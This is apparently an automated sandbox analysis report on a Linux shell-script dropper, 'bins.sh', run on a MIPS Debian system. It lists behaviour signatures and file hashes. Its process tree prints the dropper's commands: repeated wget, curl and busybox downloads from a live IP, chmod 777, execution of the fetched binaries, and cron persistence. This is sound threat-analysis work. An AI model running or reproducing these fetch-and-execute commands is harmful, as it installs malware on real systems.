Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    14/11/2024, 22:27

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241114-2c27mathrp
  • SHA256 2d0b0b07c7328455938bfeacbc5e8b8ed2beeccaadfa44688f2250519031cf76
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Contacts a large (1523) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 12 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 12 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 36 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:708
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:711
        • /usr/bin/wget
          wget http://216.126.231.240/bins/IMQfFdyZgK5RVa7YgDa22xNmJ84GaSuMrK
          2⤵
          • Writes file to tmp directory
          PID:716
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/IMQfFdyZgK5RVa7YgDa22xNmJ84GaSuMrK
          2⤵
          • Writes file to tmp directory
          PID:736
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/IMQfFdyZgK5RVa7YgDa22xNmJ84GaSuMrK
          2⤵
          • Writes file to tmp directory
          PID:738
        • /bin/chmod
          chmod 777 IMQfFdyZgK5RVa7YgDa22xNmJ84GaSuMrK
          2⤵
          • File and Directory Permissions Modification
          PID:739
        • /tmp/IMQfFdyZgK5RVa7YgDa22xNmJ84GaSuMrK
          ./IMQfFdyZgK5RVa7YgDa22xNmJ84GaSuMrK
          2⤵
          • Executes dropped EXE
          PID:740
        • /bin/rm
          rm IMQfFdyZgK5RVa7YgDa22xNmJ84GaSuMrK
          2⤵
            PID:742
          • /usr/bin/wget
            wget http://216.126.231.240/bins/VFp2lo5fKNiKRbAeh3SiZYPBn5Nl3inXaC
            2⤵
            • Writes file to tmp directory
            PID:743
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/VFp2lo5fKNiKRbAeh3SiZYPBn5Nl3inXaC
            2⤵
            • Writes file to tmp directory
            PID:744
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/VFp2lo5fKNiKRbAeh3SiZYPBn5Nl3inXaC
            2⤵
            • Writes file to tmp directory
            PID:745
          • /bin/chmod
            chmod 777 VFp2lo5fKNiKRbAeh3SiZYPBn5Nl3inXaC
            2⤵
            • File and Directory Permissions Modification
            PID:746
          • /tmp/VFp2lo5fKNiKRbAeh3SiZYPBn5Nl3inXaC
            ./VFp2lo5fKNiKRbAeh3SiZYPBn5Nl3inXaC
            2⤵
            • Executes dropped EXE
            PID:747
          • /bin/rm
            rm VFp2lo5fKNiKRbAeh3SiZYPBn5Nl3inXaC
            2⤵
              PID:749
            • /usr/bin/wget
              wget http://216.126.231.240/bins/n9olLQ135rBuzaIFwRXTHOdkiDjvFlpT4D
              2⤵
              • Writes file to tmp directory
              PID:750
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/n9olLQ135rBuzaIFwRXTHOdkiDjvFlpT4D
              2⤵
              • Writes file to tmp directory
              PID:767
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/n9olLQ135rBuzaIFwRXTHOdkiDjvFlpT4D
              2⤵
              • Writes file to tmp directory
              PID:776
            • /bin/chmod
              chmod 777 n9olLQ135rBuzaIFwRXTHOdkiDjvFlpT4D
              2⤵
              • File and Directory Permissions Modification
              PID:783
            • /tmp/n9olLQ135rBuzaIFwRXTHOdkiDjvFlpT4D
              ./n9olLQ135rBuzaIFwRXTHOdkiDjvFlpT4D
              2⤵
              • Executes dropped EXE
              PID:785
            • /bin/rm
              rm n9olLQ135rBuzaIFwRXTHOdkiDjvFlpT4D
              2⤵
                PID:788
              • /usr/bin/wget
                wget http://216.126.231.240/bins/6T5VAfn2l8D6SpVGcwqYBJWpls5vP7E1W3
                2⤵
                • Writes file to tmp directory
                PID:789
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/6T5VAfn2l8D6SpVGcwqYBJWpls5vP7E1W3
                2⤵
                • Writes file to tmp directory
                PID:803
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/6T5VAfn2l8D6SpVGcwqYBJWpls5vP7E1W3
                2⤵
                • Writes file to tmp directory
                PID:804
              • /bin/chmod
                chmod 777 6T5VAfn2l8D6SpVGcwqYBJWpls5vP7E1W3
                2⤵
                • File and Directory Permissions Modification
                PID:805
              • /tmp/6T5VAfn2l8D6SpVGcwqYBJWpls5vP7E1W3
                ./6T5VAfn2l8D6SpVGcwqYBJWpls5vP7E1W3
                2⤵
                • Executes dropped EXE
                PID:806
              • /bin/rm
                rm 6T5VAfn2l8D6SpVGcwqYBJWpls5vP7E1W3
                2⤵
                  PID:808
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/O2aQg4c3BSeEZOdnzaFa1wrOIrjemx2AKx
                  2⤵
                  • Writes file to tmp directory
                  PID:809
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/O2aQg4c3BSeEZOdnzaFa1wrOIrjemx2AKx
                  2⤵
                  • Writes file to tmp directory
                  PID:810
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/O2aQg4c3BSeEZOdnzaFa1wrOIrjemx2AKx
                  2⤵
                  • Writes file to tmp directory
                  PID:813
                • /bin/chmod
                  chmod 777 O2aQg4c3BSeEZOdnzaFa1wrOIrjemx2AKx
                  2⤵
                  • File and Directory Permissions Modification
                  PID:820
                • /tmp/O2aQg4c3BSeEZOdnzaFa1wrOIrjemx2AKx
                  ./O2aQg4c3BSeEZOdnzaFa1wrOIrjemx2AKx
                  2⤵
                  • Executes dropped EXE
                  PID:821
                • /bin/rm
                  rm O2aQg4c3BSeEZOdnzaFa1wrOIrjemx2AKx
                  2⤵
                    PID:825
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/nGOAVxacD8NuaUunQuUnz6f6SJLWl6QDWY
                    2⤵
                    • Writes file to tmp directory
                    PID:826
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/nGOAVxacD8NuaUunQuUnz6f6SJLWl6QDWY
                    2⤵
                    • Writes file to tmp directory
                    PID:839
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/nGOAVxacD8NuaUunQuUnz6f6SJLWl6QDWY
                    2⤵
                    • Writes file to tmp directory
                    PID:851
                  • /bin/chmod
                    chmod 777 nGOAVxacD8NuaUunQuUnz6f6SJLWl6QDWY
                    2⤵
                    • File and Directory Permissions Modification
                    PID:852
                  • /tmp/nGOAVxacD8NuaUunQuUnz6f6SJLWl6QDWY
                    ./nGOAVxacD8NuaUunQuUnz6f6SJLWl6QDWY
                    2⤵
                    • Executes dropped EXE
                    PID:853
                  • /bin/rm
                    rm nGOAVxacD8NuaUunQuUnz6f6SJLWl6QDWY
                    2⤵
                      PID:855
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/RN1u2BMOxrgGAl1IR0h6jdOAmUItYV7Xc1
                      2⤵
                      • Writes file to tmp directory
                      PID:856
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/RN1u2BMOxrgGAl1IR0h6jdOAmUItYV7Xc1
                      2⤵
                      • Writes file to tmp directory
                      PID:857
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/RN1u2BMOxrgGAl1IR0h6jdOAmUItYV7Xc1
                      2⤵
                      • Writes file to tmp directory
                      PID:858
                    • /bin/chmod
                      chmod 777 RN1u2BMOxrgGAl1IR0h6jdOAmUItYV7Xc1
                      2⤵
                      • File and Directory Permissions Modification
                      PID:859
                    • /tmp/RN1u2BMOxrgGAl1IR0h6jdOAmUItYV7Xc1
                      ./RN1u2BMOxrgGAl1IR0h6jdOAmUItYV7Xc1
                      2⤵
                      • Executes dropped EXE
                      PID:860
                    • /bin/rm
                      rm RN1u2BMOxrgGAl1IR0h6jdOAmUItYV7Xc1
                      2⤵
                        PID:862
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/UNx5YXd4IBib4fFMsTsDdV7aMnodE54VFL
                        2⤵
                        • Writes file to tmp directory
                        PID:863
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/UNx5YXd4IBib4fFMsTsDdV7aMnodE54VFL
                        2⤵
                        • Writes file to tmp directory
                        PID:864
                      • /bin/busybox
                        /bin/busybox wget http://216.126.231.240/bins/UNx5YXd4IBib4fFMsTsDdV7aMnodE54VFL
                        2⤵
                        • Writes file to tmp directory
                        PID:865
                      • /bin/chmod
                        chmod 777 UNx5YXd4IBib4fFMsTsDdV7aMnodE54VFL
                        2⤵
                        • File and Directory Permissions Modification
                        PID:866
                      • /tmp/UNx5YXd4IBib4fFMsTsDdV7aMnodE54VFL
                        ./UNx5YXd4IBib4fFMsTsDdV7aMnodE54VFL
                        2⤵
                        • Executes dropped EXE
                        PID:867
                      • /bin/rm
                        rm UNx5YXd4IBib4fFMsTsDdV7aMnodE54VFL
                        2⤵
                          PID:869
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/xu5G8iLpiVrvr0TzUccw56wJdV2UEon2Gf
                          2⤵
                          • Writes file to tmp directory
                          PID:870
                        • /usr/bin/curl
                          curl -O http://216.126.231.240/bins/xu5G8iLpiVrvr0TzUccw56wJdV2UEon2Gf
                          2⤵
                          • Writes file to tmp directory
                          PID:871
                        • /bin/busybox
                          /bin/busybox wget http://216.126.231.240/bins/xu5G8iLpiVrvr0TzUccw56wJdV2UEon2Gf
                          2⤵
                          • Writes file to tmp directory
                          PID:872
                        • /bin/chmod
                          chmod 777 xu5G8iLpiVrvr0TzUccw56wJdV2UEon2Gf
                          2⤵
                          • File and Directory Permissions Modification
                          PID:873
                        • /tmp/xu5G8iLpiVrvr0TzUccw56wJdV2UEon2Gf
                          ./xu5G8iLpiVrvr0TzUccw56wJdV2UEon2Gf
                          2⤵
                          • Executes dropped EXE
                          PID:874
                        • /bin/rm
                          rm xu5G8iLpiVrvr0TzUccw56wJdV2UEon2Gf
                          2⤵
                            PID:876
                          • /usr/bin/wget
                            wget http://216.126.231.240/bins/cOh7ab68fdJsNwgeqQfO1skWySwHGlPpSm
                            2⤵
                            • Writes file to tmp directory
                            PID:877
                          • /usr/bin/curl
                            curl -O http://216.126.231.240/bins/cOh7ab68fdJsNwgeqQfO1skWySwHGlPpSm
                            2⤵
                            • Writes file to tmp directory
                            PID:878
                          • /bin/busybox
                            /bin/busybox wget http://216.126.231.240/bins/cOh7ab68fdJsNwgeqQfO1skWySwHGlPpSm
                            2⤵
                            • Writes file to tmp directory
                            PID:879
                          • /bin/chmod
                            chmod 777 cOh7ab68fdJsNwgeqQfO1skWySwHGlPpSm
                            2⤵
                            • File and Directory Permissions Modification
                            PID:880
                          • /tmp/cOh7ab68fdJsNwgeqQfO1skWySwHGlPpSm
                            ./cOh7ab68fdJsNwgeqQfO1skWySwHGlPpSm
                            2⤵
                            • Executes dropped EXE
                            PID:881
                          • /bin/rm
                            rm cOh7ab68fdJsNwgeqQfO1skWySwHGlPpSm
                            2⤵
                              PID:883
                            • /usr/bin/wget
                              wget http://216.126.231.240/bins/DuEiYSnnTHs3Eyt6wtWsl2wqIDAkMgu60z
                              2⤵
                              • Writes file to tmp directory
                              PID:884
                            • /usr/bin/curl
                              curl -O http://216.126.231.240/bins/DuEiYSnnTHs3Eyt6wtWsl2wqIDAkMgu60z
                              2⤵
                              • Writes file to tmp directory
                              PID:885
                            • /bin/busybox
                              /bin/busybox wget http://216.126.231.240/bins/DuEiYSnnTHs3Eyt6wtWsl2wqIDAkMgu60z
                              2⤵
                              • Writes file to tmp directory
                              PID:886
                            • /bin/chmod
                              chmod 777 DuEiYSnnTHs3Eyt6wtWsl2wqIDAkMgu60z
                              2⤵
                              • File and Directory Permissions Modification
                              PID:887
                            • /tmp/DuEiYSnnTHs3Eyt6wtWsl2wqIDAkMgu60z
                              ./DuEiYSnnTHs3Eyt6wtWsl2wqIDAkMgu60z
                              2⤵
                              • Executes dropped EXE
                              PID:888
                            • /bin/rm
                              rm DuEiYSnnTHs3Eyt6wtWsl2wqIDAkMgu60z
                              2⤵
                                PID:890
                              • /usr/bin/wget
                                wget http://216.126.231.240/bins/5BKQq4Z7gclWS845mZClftaRJ6FdUQtJxM
                                2⤵
                                • Writes file to tmp directory
                                PID:891
                              • /usr/bin/curl
                                curl -O http://216.126.231.240/bins/5BKQq4Z7gclWS845mZClftaRJ6FdUQtJxM
                                2⤵
                                • Writes file to tmp directory
                                PID:892
                              • /bin/busybox
                                /bin/busybox wget http://216.126.231.240/bins/5BKQq4Z7gclWS845mZClftaRJ6FdUQtJxM
                                2⤵
                                • Writes file to tmp directory
                                PID:893
                              • /bin/chmod
                                chmod 777 5BKQq4Z7gclWS845mZClftaRJ6FdUQtJxM
                                2⤵
                                • File and Directory Permissions Modification
                                PID:894
                              • /tmp/5BKQq4Z7gclWS845mZClftaRJ6FdUQtJxM
                                ./5BKQq4Z7gclWS845mZClftaRJ6FdUQtJxM
                                2⤵
                                • Executes dropped EXE
                                • Renames itself
                                • Reads runtime system information
                                PID:895
                                • /bin/sh
                                  sh -c "crontab -l"
                                  3⤵
                                    PID:897
                                    • /usr/bin/crontab
                                      crontab -l
                                      4⤵
                                        PID:898
                                    • /bin/sh
                                      sh -c "crontab -"
                                      3⤵
                                        PID:899
                                        • /usr/bin/crontab
                                          crontab -
                                          4⤵
                                          • Creates/modifies Cron job
                                          • Reads runtime system information
                                          PID:900
                                    • /bin/rm
                                      rm 5BKQq4Z7gclWS845mZClftaRJ6FdUQtJxM
                                      2⤵
                                        PID:902
                                      • /usr/bin/wget
                                        wget http://216.126.231.240/bins/4iUBDbDWUbuTmlW3GXywJEHxDtjNdYSEVo
                                        2⤵
                                          PID:905

                                      Network

                                            MITRE ATT&CK Enterprise v15

                                            Replay Monitor

                                            Loading Replay Monitor...

                                            Downloads

                                            5BKQq4Z7gclWS845mZClftaRJ6FdUQtJxM

                                            • Path /tmp/5BKQq4Z7gclWS845mZClftaRJ6FdUQtJxM
                                            • Size 151KB
                                            • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                            • MD5 SHA1 SHA512 SSDEEP

                                            6T5VAfn2l8D6SpVGcwqYBJWpls5vP7E1W3

                                            • Path /tmp/6T5VAfn2l8D6SpVGcwqYBJWpls5vP7E1W3
                                            • Size 177KB
                                            • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                                            • MD5 SHA1 SHA512 SSDEEP

                                            DuEiYSnnTHs3Eyt6wtWsl2wqIDAkMgu60z

                                            • Path /tmp/DuEiYSnnTHs3Eyt6wtWsl2wqIDAkMgu60z
                                            • Size 141KB
                                            • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                                            • MD5 SHA1 SHA512 SSDEEP

                                            IMQfFdyZgK5RVa7YgDa22xNmJ84GaSuMrK

                                            • Path /tmp/IMQfFdyZgK5RVa7YgDa22xNmJ84GaSuMrK
                                            • Size 119KB
                                            • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                                            • MD5 SHA1 SHA512 SSDEEP

                                            O2aQg4c3BSeEZOdnzaFa1wrOIrjemx2AKx

                                            • Path /tmp/O2aQg4c3BSeEZOdnzaFa1wrOIrjemx2AKx
                                            • Size 151KB
                                            • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                                            • MD5 SHA1 SHA512 SSDEEP

                                            RN1u2BMOxrgGAl1IR0h6jdOAmUItYV7Xc1

                                            • Path /tmp/RN1u2BMOxrgGAl1IR0h6jdOAmUItYV7Xc1
                                            • Size 127KB
                                            • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                                            • MD5 SHA1 SHA512 SSDEEP

                                            UNx5YXd4IBib4fFMsTsDdV7aMnodE54VFL

                                            • Path /tmp/UNx5YXd4IBib4fFMsTsDdV7aMnodE54VFL
                                            • Size 117KB
                                            • SHA256 8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
                                            • MD5 SHA1 SHA512 SSDEEP

                                            VFp2lo5fKNiKRbAeh3SiZYPBn5Nl3inXaC

                                            • Path /tmp/VFp2lo5fKNiKRbAeh3SiZYPBn5Nl3inXaC
                                            • Size 111KB
                                            • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                                            • MD5 SHA1 SHA512 SSDEEP

                                            cOh7ab68fdJsNwgeqQfO1skWySwHGlPpSm

                                            • Path /tmp/cOh7ab68fdJsNwgeqQfO1skWySwHGlPpSm
                                            • Size 99KB
                                            • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                                            • MD5 SHA1 SHA512 SSDEEP

                                            n9olLQ135rBuzaIFwRXTHOdkiDjvFlpT4D

                                            • Path /tmp/n9olLQ135rBuzaIFwRXTHOdkiDjvFlpT4D
                                            • Size 111KB
                                            • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                                            • MD5 SHA1 SHA512 SSDEEP

                                            nGOAVxacD8NuaUunQuUnz6f6SJLWl6QDWY

                                            • Path /tmp/nGOAVxacD8NuaUunQuUnz6f6SJLWl6QDWY
                                            • Size 98KB
                                            • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                                            • MD5 SHA1 SHA512 SSDEEP

                                            xu5G8iLpiVrvr0TzUccw56wJdV2UEon2Gf

                                            • Path /tmp/xu5G8iLpiVrvr0TzUccw56wJdV2UEon2Gf
                                            • Size 112KB
                                            • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                                            • MD5 SHA1 SHA512 SSDEEP

                                            tmp.AAkMMx

                                            • Path /var/spool/cron/crontabs/tmp.AAkMMx
                                            • Size 210B
                                            • SHA256 c2e01a974d309e9966d4093f9a24fae7f912706427ee4e5a005307fa26b09ef0
                                            • MD5 SHA1 SHA512